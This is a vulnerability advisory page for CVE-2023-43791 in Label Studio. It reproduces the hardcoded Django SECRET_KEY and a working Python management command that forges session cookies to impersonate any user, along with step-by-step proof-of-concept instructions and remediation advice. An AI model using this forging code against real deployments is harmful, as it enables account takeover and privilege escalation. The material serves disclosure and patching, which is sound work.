CVE-2023-43791: Label Studio has Hardcoded Django `SECRET_KEY` that can be Abused to Forge Session Tokens

Published Nov 9, 2023
·
Updated

Introduction

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.

Overview

In Label Studio version 1.8.1, a hard coded Django SECRETKEY was set in the application settings. The Django SECRETKEY is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.

However, the Django framework inserts a authuserhash claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in 1.9.2post0) and forge session tokens for all users on Label Studio using the hard coded SECRETKEY.

Description

Below is the code snippet of the Django settings file at labelstudio/core/settings/base.py.

python SECURITY WARNING: keep the secret key used in production secret! SECRETKEY = '$(fefwefwef13;LFK{P!)@#!)kdsjfWF2l+i5e3t(8a1n'

This secret is hard coded across all instances of Label Studio.

Proof of Concept

Below are the steps that an attacker could do to forge a session token of any account on Label Studio:

1. Exploit the ORM Leak vulnerability (patched in 1.9.2post0) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email ghostccamm@testvm.local with the password hash pbkdf2sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw= that was retrieved.

2. Create a new Django project with an empty application. In cookieforge/cookieforge/settings.py set the SECRETKEY to $(fefwefwef13;LFK{P!)@#!)kdsjfWF2l+i5e3t(8a1n. Create a management command with the following code that will be used to create forged session tokens.

python from typing import Any from django.core.management.base import BaseCommand, CommandParser from django.core import signing from django.utils.crypto import saltedhmac from django.conf import settings import time, uuid

class Command(BaseCommand): help = "Forge a users session cookie on Label Studio"

def addarguments(self, parser: CommandParser) -> None: parser.addargument( '-o', '--organisation', help='Organisation ID to access', default=1, type=int )

parser.addargument( 'userid', help='The User ID of the victim you want to impersonate', type=str )

parser.addargument( 'userhash', help='The password hash the user you want to impersonate' )

def handle(self, args: Any, options: Any) -> str | None: key = settings.SECRETKEY # Creates the authuserhash HMAC of the victim's password hash authuserhash = saltedhmac( 'django.contrib.auth.models.AbstractBaseUser.getsessionauthhash', options['userhash'], secret=key, algorithm="sha256" ).hexdigest()

sessiondict = { 'uid': str(uuid.uuid4()), 'organizationpk': options['organisation'], 'nextpage': '/projects/', 'lastlogin': time.time(), 'authuserid': options['userid'], 'authuserbackend': 'django.contrib.auth.backends.ModelBackend', 'authuserhash': authuserhash, 'keepmeloggedin': True, 'sessionexpiry': 600 }

# Creates a forged session token sessiontoken = signing.dumps( sessiondict, key=key, salt="django.contrib.sessions.backends.signedcookies", compress=True )

self.stdout.write( self.style.SUCCESS(f"session token: {sessiontoken}") )

3. Next run the following command replacing the {userid} with the user ID of the account you want to the impersonate and {userhash} with the victim's password hash. Copy the session token that is printed.

python python3 manage.py forgecookie {userid} '{userhash}'

4. Change the sessionid cookie on the browser and refresh the page. Observe being authenticated as the victim user.

Impact

This vulnerability can be chained with the ORM Leak vulnerability (which was patched in 1.9.2post0) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user.

Remediation Advice

It is important to note that the hard coded SECRETKEY has already been removed in Label Studio versions >=1.8.2. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability.

We recommend that Human Signal to release a public disclosure about the hard coded SECRETKEY to encourage users to patch to a version >=1.8.2 to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform.

Discovered - August 2023, Robert Schuh, @robbilie - August 2023, Alex Brown, elttam

Other sources

Label Studio is a multi-type data labeling and annotation tool with standardized output format. There is a vulnerability that can be chained within the ORM Leak vulnerability to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.

Affected Software

2 affected componentsFixes available
pip/label-studio<1.8.2
1.8.2
HumanSignal Label Studio<1.8.2

Event History

Nov 9, 2023
CVE Published
via MITRE·02:42 PM
Data Sourced
via MITRE·02:42 PM
DescriptionSeverityWeakness
Advisory Published
02:42 PM

Frequently Asked Questions

1

What is the vulnerability ID of this issue?

The vulnerability ID of this issue is CVE-2023-43791.

2

What is the severity of CVE-2023-43791?

CVE-2023-43791 has a severity rating of 9.8 (Critical).

3

What is the affected software of CVE-2023-43791?

The affected software of CVE-2023-43791 is Label Studio versions before 1.8.2.

4

How can this vulnerability be exploited?

This vulnerability can be exploited by abusing the hardcoded Django SECRET_KEY to forge session tokens.

5

How can I fix CVE-2023-43791?

To fix CVE-2023-43791, update to Label Studio version 1.8.2 or later.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203